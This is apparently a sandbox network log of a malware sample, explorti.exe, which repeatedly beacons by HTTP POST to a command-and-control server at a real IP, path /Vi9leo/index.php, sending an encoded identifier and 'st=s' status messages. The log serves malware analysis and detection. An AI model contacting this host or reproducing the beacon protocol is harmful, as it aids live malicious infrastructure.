Sep 1, 2024 02:49:28.210625887 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:28.978738070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49885	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:29.108036995 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:29.872901917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49886	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:29.886230946 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:30.634280920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49888	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:30.756179094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:31.518814087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49889	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:31.527688026 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:32.306855917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49890	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:32.427297115 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:33.172792912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49891	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:33.212619066 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:33.954581022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49892	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:34.084978104 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:34.825977087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49893	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:34.836780071 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:35.616121054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49894	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:35.744263887 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:36.503444910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49895	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:36.511713028 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:37.258641005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49896	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:37.380776882 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:38.122487068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49897	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:38.131517887 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:38.892467976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49898	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:39.004044056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:39.744929075 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49899	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:39.763413906 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:40.508655071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49900	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:40.629426003 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:41.370397091 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49901	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:41.385446072 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:42.141231060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49902	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:42.254975080 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:43.013130903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49903	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:43.021887064 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:43.766899109 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49904	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:43.886481047 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:44.627206087 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49905	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:44.636224031 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:45.396131992 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49906	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:45.506026030 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:49:46.264879942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49907	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:49:46.328843117 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:49:47.099875927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:49:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49908	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

